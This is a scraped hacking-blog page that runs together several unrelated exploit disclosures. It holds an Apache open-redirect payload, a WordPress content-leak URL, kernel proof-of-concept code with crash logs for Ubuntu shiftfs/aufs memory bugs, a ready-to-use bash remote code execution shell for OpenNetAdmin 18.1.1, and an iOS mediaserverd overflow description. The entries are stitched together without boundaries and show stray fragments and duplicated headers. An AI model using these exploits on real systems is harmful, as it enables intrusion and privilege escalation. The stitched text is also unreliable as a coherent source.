The trick is to use a vertical tab (`%09`) and then place another URL in the tag. So once a victim clicks the link on the error page, she will go somewhere else.
As you can see, the browser changes the destination from relative / to an absolute url https://enoflag.de. The exploit is `http://domain.tld/%09//otherdomain.tld`
Here's the httpd configuration to reproduce the behavior:
```
<Location />
ProxyPass http://127.0.0.1:9000/ connectiontimeout=1 timeout=2
ProxyPassReverse http://127.0.0.1:9000/
Order allow,deny
Allow from all
</Location>
```
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863595184
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
So far we know that adding `?static=1` to a wordpress URL should leak its secret content
Here are a few ways to manipulate the returned entries:
- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
Tested on 19.10.
Ubuntu's aufs kernel patch includes the following change (which I interestingly
can't see in the AUFS code at
https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c):
==================================================================
+#define vma_fput(vma) vma_do_fput(vma, __func__, __LINE__)
[...]
@@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
return addr;
unmap_and_free_vma:
+ vma_fput(vma);
vma->vm_file = NULL;
- fput(file);
/* Undo any partial mapping done by a device driver. */
unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
[...]
+void vma_do_fput(struct vm_area_struct *vma, const char func[], int line)
+{
+ struct file *f = vma->vm_file, *pr = vma->vm_prfile;
+
+ prfile_trace(f, pr, func, line, __func__);
+ fput(f);
+ if (f && pr)
+ fput(pr);
+}
==================================================================
This means that in the case where call_mmap() returns an error to mmap_region(),
fput() will be called on the current value of vma->vm_file instead of the saved
file pointer. This matters if the ->mmap() handler replaces ->vm_file before
returning an error code.
overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails,
see ovl_mmap() and shiftfs_mmap().
To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a
FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap()
to bail out with -ENODEV if MAP_SHARED is set.
I would have used overlayfs instead, but there is an unrelated bug that makes it
impossible to mount overlayfs inside a user namespace:
Commit 82c0860106f264 ("UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower
and upper mounts") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE
already has the same value. This causes mount_too_revealing() to bail out with a
WARN_ONCE().
Note that this PoC requires the "bindfs" package and should be executed with
"slub_debug" in the kernel commandline to get a clear crash.
==================================================================
Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0
user-Standard-PC-Q35-ICH9-2009 login: user
Password:
Last login: Fr Nov 1 23:45:36 CET 2019 on ttyS0
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be installed immediately.
0 of these updates are security updates.
user@user-Standard-PC-Q35-ICH9-2009:~$ ls
aufs-mmap Documents Music Public trace.dat
Desktop Downloads Pictures Templates Videos
user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh
#!/bin/bash
set -e
mount -t tmpfs none /tmp
mkdir -p /tmp/{lower,middle,upper}
touch /tmp/lower/foo
# mount some random FUSE filesystem with direct_io,
# doesn't really matter what it does as long as
# there's a file in it.
# (this is just to get some filesystem that can
# easily be convinced to throw errors from f_op->mmap)
bindfs -o direct_io /tmp/lower /tmp/middle
# use the FUSE filesystem to back shiftfs.
# overlayfs would also work if SB_I_NOSUID and
# SB_I_USERNS_VISIBLE weren't defined to the same
# value...
mount -t shiftfs -o mark /tmp/middle /tmp/upper
mount|grep shift
gcc -o trigger trigger.c -Wall
./trigger
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>
int main(void) {
int foofd = open("/tmp/upper/foo", O_RDONLY);
if (foofd == -1) err(1, "open foofd");
void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
if (badmap == MAP_FAILED) {
perror("badmap");
} else {
errx(1, "badmap worked???");
}
sleep(1);
mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
}
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh
/tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark)
badmap: No such device
[ 72.101721] general protection fault: 0000 [#1] SMP PTI
[ 72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu
[ 72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
[ 72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
[ 72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
[ 72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
[ 72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
[ 72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
[ 72.189705] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
[ 72.193073] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
[ 72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 72.202815] Call Trace:
[ 72.203712] mmap_region+0x417/0x670
[ 72.204868] do_mmap+0x3a8/0x580
[ 72.205939] vm_mmap_pgoff+0xcb/0x120
[ 72.207954] ksys_mmap_pgoff+0x1ca/0x2a0
[ 72.210078] __x64_sys_mmap+0x33/0x40
[ 72.211327] do_syscall_64+0x5a/0x130
[ 72.212538] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 72.214177] RIP: 0033:0x7faa3ecc7af6
[ 72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[ 72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[ 72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6
[ 72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[ 72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000
[ 72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100
[ 72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000
[ 72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk
[ 72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]---
[ 72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
[ 72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
[ 72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
[ 72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
[ 72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
[ 72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
[ 72.284048] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
[ 72.287161] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
[ 72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
==================================================================
Faulting code:
0000000F 55 push rbp
00000010 4889E5 mov rbp,rsp
00000013 4157 push r15
00000015 4156 push r14
00000017 4155 push r13
00000019 4154 push r12
0000001B 488B87C8000000 mov rax,[rdi+0xc8]
00000022 4C8B6810 mov r13,[rax+0x10]
00000026 498B4528 mov rax,[r13+0x28]
0000002A 4883786000 cmp qword [rax+0x60],byte +0x0 <<<< GPF HERE
0000002F 0F8497000000 jz near 0xcc
00000035 4989FC mov r12,rdi
00000038 4989F6 mov r14,rsi
As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced.
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
mediaserverd has various media parsing responsibilities; its reachable from various sandboxes
and is able to talk to interesting kernel drivers so is a valid target in an exploit chain.
One of the services it vends is com.apple.audio.AudioFileServer, a fairly simple XPC service
which will parse audio files on behalf of clients and send them the raw bytes.
Files are opened via their ipod-library:// URL; for the purposes of this PoC you will need to
ensure there is at least one audio file in the iTunes library
(I've used one of my highschool band's MP3s, available on request, it's not that bad!)
The files are actually parsed by the AudioFileReadPacketData method; here's the prototype from the docs:
OSStatus AudioFileReadPacketData(AudioFileID inAudioFile,
Boolean inUseCache,
UInt32 *ioNumBytes,
AudioStreamPacketDescription *outPacketDescriptions,
SInt64 inStartingPacket,
UInt32 *ioNumPackets,
void *outBuffer);
The docs tell us the meaning of the ioNumBytes and outBuffer arguments:
ioNumBytes
On input, the size of the outBuffer parameter, in bytes. On output, the number of bytes actually read.
outBuffer
Memory that you allocate to hold the read packets. Determine an appropriate size by multiplying
the number of packets requested (in the ioNumPackets parameter) by the typical packet size
for the audio data in the file. For uncompressed audio formats, a packet is equal to a frame.
For the purposes of the bug this function has memcpy semantics; the value pointed to
by ioNumBytes will be considered the correct size of the output buffer;
AudioFileReadPacketData will be unable to verify that; it's up to the caller.
Looking at the code which calls this the values are derived from three values passed
in the 'read' xpc message:
numbytes (uint64), numpackets (uint64), startingPacket (int64)
Those values are truncated to 32 bits then passed through a few layers of function calls during which
various integer overflow occur when they're multiplied and added (there are no checks anywhere.)
You eventually end up in a curious allocation routine which is able to allocate three different types of
shared memory using either mach memory entries, posix shm or xpc_shmem. This service uses posix_shm,
the PoC should cause mediaserverd to shm_truncate and mmap a 0x4000 byte region,
then attempt to write significantly more bytes there.
In the debug_output.txt file you can see the debug output and crash log demonstrating that audio data has clearly
corrupted an object and caused a pointer to be overwritten with audio data.
Tested on iOS 12.4 (16G77) on iPod touch 6G
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47694.zip
Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".
Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
doesn't exist upstream. This filesystem can be mounted from user namespaces,
meaning that this is attack surface from unprivileged userspace in the default
installation.
There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace().
#################### Bug 1: Flawed reference counting ####################
In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):
src = fdget(oldfd);
if (!src.file)
return -EINVAL;
// src holds one reference (assuming multithreaded execution)
ret = shiftfs_real_fdget(src.file, lfd);
// lfd->file is a file* now, but shiftfs_real_fdget didn't take any
// extra references
fdput(src);
// this drops the only reference we were holding on src, and src was
// the only thing holding a reference to lfd->file. lfd->file may be
// dangling at this point.
if (ret)
return ret;
*newfd = get_unused_fd_flags(lfd->file->f_flags);
if (*newfd < 0) {
// always a no-op
fdput(*lfd);
return *newfd;
}
fd_install(*newfd, lfd->file);
// fd_install() consumes a counted reference, but we don't hold any
// counted references. so at this point, if lfd->file hasn't been freed
// yet, its refcount is one lower than it ought to be.
[...]
// the following code is refcount-neutral, so the refcount stays one too
// low.
if (ret)
shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
shiftfs_real_fdget() is implemented as follows:
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
struct shiftfs_file_info *file_info = file->private_data;
struct file *realfile = file_info->realfile;
lowerfd->flags = 0;
lowerfd->file = realfile;
/* Did the flags change since open? */
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
return shiftfs_change_flags(lowerfd->file, file->f_flags);
return 0;
}
Therefore, the following PoC will cause reference count overdecrements; I ran it
with SLUB debugging enabled and got the following splat:
=======================================
user@ubuntu1910vm:~/shiftfs$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
#!/bin/sh
set -e
mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>
int main(void) {
int root = open("mnt/shiftfs", O_RDONLY);
if (root == -1) err(1, "open shiftfs root");
int foofd = openat(root, "foo", O_RDONLY);
if (foofd == -1) err(1, "open foofd");
struct btrfs_ioctl_vol_args iocarg = {
.fd = foofd
};
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
sleep(1);
void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[ 183.463452] general protection fault: 0000 [#1] SMP PTI
[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 183.510580] Call Trace:
[ 183.511396] mmap_region+0x417/0x670
[ 183.512592] do_mmap+0x3a8/0x580
[ 183.513655] vm_mmap_pgoff+0xcb/0x120
[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
[ 183.516155] __x64_sys_mmap+0x33/0x40
[ 183.517352] do_syscall_64+0x5a/0x130
[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
[ 183.560350] ---[ end trace 4a860910803657c2 ]---
[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
=======================================
Disassembly of surrounding code:
55 push rbp
4889E5 mov rbp,rsp
4157 push r15
4156 push r14
4155 push r13
4154 push r12
488B87C8000000 mov rax,[rdi+0xc8]
4C8B6810 mov r13,[rax+0x10]
498B4528 mov rax,[r13+0x28]
4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
0F8497000000 jz near 0xcc
4989FC mov r12,rdi
4989F6 mov r14,rsi
This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
think this corresponds to the load of "realfile->f_op->mmap" in the source code.
#################### Bug 2: Type confusion ####################
shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
passes the resulting file* into shiftfs_real_fdget(), which does this:
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
struct shiftfs_file_info *file_info = file->private_data;
struct file *realfile = file_info->realfile;
lowerfd->flags = 0;
lowerfd->file = realfile;
/* Did the flags change since open? */
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
return shiftfs_change_flags(lowerfd->file, file->f_flags);
return 0;
}
file->private_data is a void* that points to a filesystem-dependent type; and
some filesystems even use it to store a type-cast number instead of a pointer.
The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.
As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
(with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
offset 0x10), and I use that to cause a memory dereference somewhere around
0x4242:
=======================================
user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
#!/bin/sh
set -e
mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>
int main(void) {
// make our vmacache sequence number something like 0x4242
for (int i=0; i<0x4242; i++) {
void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
munmap(x, 0x1000);
}
int root = open("mnt/shiftfs", O_RDONLY);
if (root == -1) err(1, "open shiftfs root");
int foofd = open("/proc/self/environ", O_RDONLY);
if (foofd == -1) err(1, "open foofd");
// trigger the confusion
struct btrfs_ioctl_vol_args iocarg = {
.fd = foofd
};
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
}
user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
[ 348.105060] #PF: supervisor read access in kernel mode
[ 348.106573] #PF: error_code(0x0000) - not-present page
[ 348.108102] PGD 0 P4D 0
[ 348.108871] Oops: 0000 [#1] SMP PTI
[ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 348.143545] Call Trace:
[ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
[ 348.145562] do_vfs_ioctl+0x407/0x670
[ 348.146620] ? putname+0x4a/0x50
[ 348.147556] ksys_ioctl+0x67/0x90
[ 348.148514] __x64_sys_ioctl+0x1a/0x20
[ 348.149593] do_syscall_64+0x5a/0x130
[ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 348.152108] RIP: 0033:0x7f77fa76767b
[ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
[ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
[ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
[ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
[ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
[ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
[ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
[ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
[ 348.188617] CR2: 0000000000004289
